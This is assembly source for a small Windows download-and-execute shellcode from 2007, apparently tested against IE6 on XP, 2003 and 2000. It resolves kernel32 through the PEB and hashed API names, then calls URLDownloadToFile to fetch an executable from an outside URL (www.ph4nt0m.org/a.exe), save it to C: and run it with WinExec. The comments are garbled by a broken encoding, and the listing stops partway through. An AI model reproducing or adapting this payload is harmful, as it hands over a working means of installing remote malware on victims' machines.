;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
                #--------------------------------------#          #
              #  Tiny Download&&Exec ShellCode-->       #       #
            #    -->size 192                              #   #
          #                      2007.06.01                 #  
            #                    codz: czy                #   #
            #                  www.ph4nt0m.org           #     #
             #------------------------------------------#       #

system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none

include     c:masm32includewindows.inc
include     c:masm32includekernel32.inc
includelib  c:masm32libkernel32.lib
include     c:masm32includeuser32.inc
includelib  c:masm32libuser32.lib


.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer	db 2046 dup(0)
downshell	db 'down exploit',0
.code
start:
	invoke	MessageBoxA,0,offset downshell,offset downshell,1
	invoke	RtlMoveMemory,offset shellcodebuffer,00401040H,256
	mov	eax,offset shellcodebuffer
	jmp	eax
	somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;???‰???????????|???μ???????′???o???????????????????°???‘???”???????′???o???????????????????–???????μ????shellcode???’???????????ˉ???????????????????????????–???????–???′???????????￡???????????￡???????￠???????|???????μ???μ????shellcode???–???′???????????????·???????3	
@@shellcodebegin:		
	call	@@beginaddr
@@beginaddr:
	PUSH 03H      ;???’???a???μ???·???“???????μ????API???o???ˉ????????????????????????
	jmp	@@realshellcode          
myExitProcess     dd 073e2d87eh   
myWinExec         dd 00e8afe98h    
myLoadLibraryA    dd 0ec0e4e8eh
dll               db 'URLMON',0,0
myUrlDownFile     dd 0702f1a36h
path              db 'c:a.exe',0
url               db 'http://www.ph4nt0m.org/a.exe',0



@@realshellcode:
    POP ECX
    POP EDI
    SCASD ;edi+4
;???μ???????μ????kernel32.dll???????1???μ???????–???·
db  67h,64h,0A1h,30h,00h
	mov eax, [eax+0cH]
	mov esi, [eax+1cH]
    lodsd 
	mov ebp, [eax+08H]          ;EBP???–???????′???|???·???…kernel32.dll???μ???????????1???μ???????–???·
;???′???|???